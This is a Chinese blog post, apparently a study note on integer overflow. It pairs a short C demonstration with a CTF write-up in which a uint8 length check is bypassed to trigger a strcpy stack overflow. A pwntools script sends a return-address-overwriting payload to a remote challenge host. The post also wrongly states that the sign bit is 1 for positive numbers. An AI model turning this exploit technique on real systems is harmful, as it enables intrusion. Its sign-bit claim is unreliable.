整數溢出學習記錄

整數溢出原理:

整數分爲有符號和無符號兩種類型, 有符號數以最高位作爲其符號位,即正整數
最高位爲 1,負數爲 0,無符號數取值範圍爲非負數,常見各類型佔用字節數如
下:

 

 

C語言測試一下整數溢出

#include <stdio.h>

#include <stdint.h>

int main()

{

       uint8_t t1 = 1, t2 = 257;

       if (t1 == t2)

       {

              printf("Overflow");

       }

       return 0;

}

運行:

溢出成功,可以得到結論:當一個數據超出它的最大數據類型的範圍時,超出的部分不會被計算,只有規定的範圍內的數據會被使用。所以257(0001 0000 0001)中只計算了後8位,即被視爲1(0000 0001)

 

攻防世界CTF題目

 

無棧溢出保護

主函數:

邏輯很簡單:

只有登錄和退出,看一下登錄

輸入用戶名密碼,注意到check函數使用了密碼。

很顯然漏洞出在strcpy函數

同時搜索字符串注意到

 

 

我們只需要產生溢出,覆蓋返回地址就可以了。

分析check函數發現,只有密碼的長度在3<x<=8時,纔可以“success”,並可以利用strcpy進行溢出。但溢出點dest的大小就達到了0x14(十進制20),已經不夠長度的輸入了。。。

 

所以要怎樣滿足這個所謂的  “3<密碼長度<=8”  這個條件呢?

這裏注意到v3的類型:

int8代表8bit,即0~255,正是上面C語言測試的類型。

可以考慮使用一下整數溢出:

 

from pwn import *
context.log_level = 'debug'
cn = remote('111.198.29.45',48928)
cn.recvuntil("Your choice:")
cn.sendline('1')
cn.recvuntil("username:")
cn.sendline('zzZ')

payload = 'a'*0x14 + 'a'*4 + p32(0x804868B) + 'a' * 233

cn.recvuntil("passwd:")
cn.sendline(payload)
cn.interactive()

 

溢出成功,得到flag。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章